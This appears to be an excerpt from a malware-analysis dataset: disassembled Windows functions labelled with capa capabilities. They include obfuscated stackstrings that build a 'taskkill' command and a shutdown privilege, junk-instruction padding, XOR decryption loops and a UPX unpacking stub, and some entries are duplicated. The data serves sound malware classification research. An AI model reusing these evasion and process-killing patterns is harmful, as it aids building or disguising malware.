joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b30
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40dbed
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x19c
push ebx
push esi
push edi
mov dword [ebp - 0x1a8], ecx
mov ecx, dword [ebp - 0x1a8]
add ecx, 4
call fcn.00401000
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x2c
call fcn.00401000
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x54
call fcn.00401000
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x7c
call fcn.00401000
mov eax, dword [ebp - 0x1a8]
mov dword [eax], 0x40e1d0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x19c]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [ebp - 0x1a8]
mov dword [edx + 0xac], eax
mov eax, dword [ebp - 0x1a8]
mov byte [eax + 0xb5], 0
mov ecx, dword [ebp - 0x1a8]
mov dword [ecx + 0xa8], 0xffffffff
mov byte [ebp - 0x1a4], 0x42
mov byte [ebp - 0x1a3], 0x33
mov byte [ebp - 0x1a2], 0x31
mov byte [ebp - 0x1a1], 0x36
mov byte [ebp - 0x1a0], 0x35
mov edx, dword [ebp - 0x1a8]
add edx, 0xb0
mov eax, dword [ebp - 0x1a4]
mov dword [edx], eax
mov cl, byte [ebp - 0x1a0]
mov byte [edx + 4], cl
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
add ecx, 0xffffffff
add ecx, 1
sub esp, 2
add esp, 2
pop ecx
add ebp, 2
dec ebp
dec ebp
mov eax, eax
push esi
je 0x401c5f
pop esi
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403780
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x40e1e8
test eax, eax
jbe 0x4037c4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x4037a4
pop esi
pop ebp
mov ecx, ebx
call fcn.00403cf0
pop edi
pop ebx
ret

Function at 0x403920
Capabilities:
Contain obfuscated stackstrings
Shutdown system

Disassembly:
sub esp, 0x14
mov al, 0x65
mov cl, 0x53
mov byte [esp + 1], al
mov byte [esp + 0x10], al
mov byte [esp + 0x12], al
mov byte [esp], cl
mov byte [esp + 2], cl
lea eax, [esp]
mov cl, 0x69
push 1
push eax
mov byte [esp + 0xb], 0x68
mov byte [esp + 0xc], 0x75
mov byte [esp + 0xd], 0x74
mov byte [esp + 0xe], 0x64
mov byte [esp + 0xf], 0x6f
mov byte [esp + 0x10], 0x77
mov byte [esp + 0x11], 0x6e
mov byte [esp + 0x12], 0x50
mov byte [esp + 0x13], 0x72
mov byte [esp + 0x14], cl
mov byte [esp + 0x15], 0x76
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], 0x6c
mov byte [esp + 0x19], 0x67
mov byte [esp + 0x1b], 0
call fcn.004037d0
mov ecx, dword [esp + 0x20]
add esp, 8
push 0
push ecx
call dword [sym.imp.USER32.dll_ExitWindowsEx]
lea edx, [esp]
push 0
push edx
call fcn.004037d0
add esp, 0x1c
ret

Function at 0x403bc0
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub esp, 0x414
mov al, 0x6b
mov dl, 0x69
mov byte [esp + 3], al
mov byte [esp + 4], al
mov al, 0x6c
mov cl, 0x2f
mov byte [esp + 6], al
mov byte [esp + 7], al
mov al, 0x20
mov byte [esp], 0x74
mov byte [esp + 1], 0x61
mov byte [esp + 2], 0x73
mov byte [esp + 5], dl
mov byte [esp + 8], al
mov byte [esp + 9], cl
mov byte [esp + 0xa], 0x66
mov byte [esp + 0xb], al
mov byte [esp + 0xc], cl
mov byte [esp + 0xd], 0x74
mov byte [esp + 0xe], al
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], dl
mov byte [esp + 0x11], 0x6d
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0
call fcn.00405510
push eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x1c]
push str._s_s
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea edx, [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x404e90
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, ecx
push 0
mov dword [edi], 0x40e204
call esi
push 0
call esi
push 0
call esi
push 0
call esi
mov eax, dword [edi + 0x28]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push eax
call ebx
push 0
call esi
mov ecx, dword [edi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call esi
mov edx, dword [edi + 0x24]
push 0
push edx
call ebx
push 0
call esi
mov eax, dword [edi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call esi
mov ecx, dword [edi + 0x2c]
push 0
push ecx
call ebx
push 0
call esi
mov eax, dword [edi + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x404f0e
push eax
call ebx
mov eax, dword [edi + 0x14]
test eax, eax
je 0x404f18
push eax
call ebx
mov eax, dword [edi + 0x18]
test eax, eax
je 0x404f22
push eax
call ebx
mov eax, dword [edi + 0x1c]
test eax, eax
je 0x404f2c
push eax
call ebx
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
mov edx, dword [edi + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call ebx
push 0
call esi
mov eax, dword [edi + 0x14]
push eax
call ebx
push 0
call esi
mov ecx, dword [edi + 0x18]
push ecx
call ebx
push 0
call esi
mov edx, dword [edi + 0x1c]
push edx
call ebx
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
mov eax, dword [edi + 0x20]
push eax
call ebx
push 0
call esi
mov ecx, dword [edi + 0x24]
push ecx
call ebx
push 0
call esi
mov edx, dword [edi + 0x2c]
push edx
call ebx
push 0
call esi
mov eax, dword [edi + 0x28]
push eax
call ebx
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
mov ecx, edi
call fcn.00403cf0
pop edi
pop esi
pop ebx
ret
Function at 0x407770
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
mov eax, dword [esp + 0x24]
push 0
mov dword [esp + 0xc], eax
call esi
mov ecx, dword [esp + 0x28]
mov dl, byte [esp + 0x34]
push 0
mov dword [esp + 0x10], ecx
mov byte [esp + 0x14], dl
call esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x2c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x30]
lea edx, [esp + 8]
push eax
mov eax, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push 0x4076e0
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov edi, eax
push 0
call esi
mov edx, dword [esp + 0x14]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x10
ret
Function at 0x407820
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
call esi
mov al, 0x45
mov dl, 0x65
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov al, 0x6c
mov cl, 0x6f
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov bl, 0x68
mov al, 0x70
push 0
mov byte [esp + 0x14], 0x4b
mov byte [esp + 0x16], 0x52
mov byte [esp + 0x17], 0x4e
mov byte [esp + 0x19], 0x4c
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x54
mov byte [esp + 0x2b], cl
mov byte [esp + 0x2c], cl
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x31], al
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x53
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x61
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x73
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], cl
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3c], 0
call esi
lea eax, [esp + 0x20]
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 2
call eax
push 0
mov ebp, eax
call esi
push 0x128
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
push 0
mov dword [edi], 0x128
call esi
push edi
push ebp
call dword [0x4126fc]
test eax, eax
je 0x40798b
push 0
call esi
mov edx, dword [esp + 0x40]
lea ebx, [edi + 0x24]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40795d
push 0
call esi
mov eax, dword [edi + 8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
push edi
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40798b
push 0
call esi
push 0
call esi
mov eax, dword [esp + 0x40]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40794e
push edi
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x407968
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2c
ret
Function at 0x41ec7c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42a520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00415f82
and dword [ebp - 0x14], 0
cmp dword [0x46b150], 0
mov dword [ebp - 0x18], eax
jne 0x41ed2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41edd7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41edd7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x46b150], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x46b154], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x46b158], eax
call edi
push eax
call esi
mov dword [0x46b160], eax
test eax, eax
je 0x41ed2f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x46b15c], eax
mov eax, dword [0x46b15c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41ed88
cmp dword [0x46b160], ecx
je 0x41ed88
push eax
call esi
push dword [0x46b160]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41ed88
test ebx, ebx
je 0x41ed88
call edi
test eax, eax
je 0x41ed7f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41ed7f
test byte [ebp - 8], 1
jne 0x41ed88
or dword [ebp + 0x10], 0x200000
jmp 0x41edbb
mov eax, dword [0x46b154]
cmp eax, dword [ebp - 0x18]
je 0x41edbb
push eax
call esi
test eax, eax
je 0x41edbb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41edbb
mov eax, dword [0x46b158]
cmp eax, dword [ebp - 0x18]
je 0x41edbb
push eax
call esi
test eax, eax
je 0x41edbb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46b150]
call esi
test eax, eax
je 0x41edd7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41edd9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004106c7
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x84e59fa
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x71ee2614
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x40f6a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa000]
push edi
or ebp, 0xffffffff
jmp 0x40f6c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f6c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f6b8
mov eax, 1
add ebx, ebx
jne 0x40f6db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40f6d0
jne 0x40f6ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f6d0
xor ecx, ecx
sub eax, 3
jb 0x40f700
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f772
mov ebp, eax
add ebx, ebx
jne 0x40f70b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f718
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f73c
inc ecx
add ebx, ebx
jne 0x40f728
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40f71d
jne 0x40f739
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f71d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40f75c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f74d
jmp 0x40f6be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f75c
add edi, ecx
jmp 0x40f6be
pop esi
mov edi, esi
mov ecx, 0x24d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f77a
cmp byte [edi], 5
jne 0x40f77a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40f77f
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40f7ee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x10664]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x106b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f7ac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x106b8]
or eax, eax
je 0x40f7e8
mov dword [ebx], eax
add ebx, 4
jmp 0x40f7c9
call dword [esi + 0x106bc]
popal
jmp 0x401492

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408e84
mov ecx, 0x7e2406f6
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x5fec2a4c
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4029a4
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x4029e1
xor eax, eax
mov al, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x402a01
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.00404358
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x403220
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x49d020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4032b8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403298
xor eax, eax
push ebp
push 0x403291
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4032d4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403298
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x49d020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x49d020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403f6c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4a004c], 0
je 0x403fcd
cmp word [0x4a0220], 0xd7b2
jne 0x403f95
cmp dword [0x4a0228], 0
jbe 0x403f95
mov eax, 0x4a021c
call dword [0x4a0238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x49d06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403ff4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x49d030], 0
jne 0x403fe9
push 0
push 0x49d064
push 0x49d06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x40591c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405b4c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40599f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405b4c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40599f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405b68
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405a28
xor eax, eax
push ebp
push 0x405a21
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405764
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405a06
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405b88
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405a06
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405a28
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405b42
cmp byte [ebp - 0xd], 0
jne 0x405a6f
cmp byte [ebp - 0x12], 0
je 0x405b42
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405a88
dec ebx
cmp byte [ebx], 0x2e
je 0x405a97
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405a87
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405b42
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405ad4
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405b42
cmp byte [ebp - 0xd], 0
je 0x405b42
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405b42
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405a28
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405b4c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40599f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405b4c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40599f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405b68
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405a28
xor eax, eax
push ebp
push 0x405a21
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405764
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405a06
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405b88
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405a06
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405a28
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405b42
cmp byte [ebp - 0xd], 0
jne 0x405a6f
cmp byte [ebp - 0x12], 0
je 0x405b42
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405a88
dec ebx
cmp byte [ebx], 0x2e
je 0x405a97
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405a87
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405b42
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405ad4
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405b42
cmp byte [ebp - 0xd], 0
je 0x405b42
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405b42
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret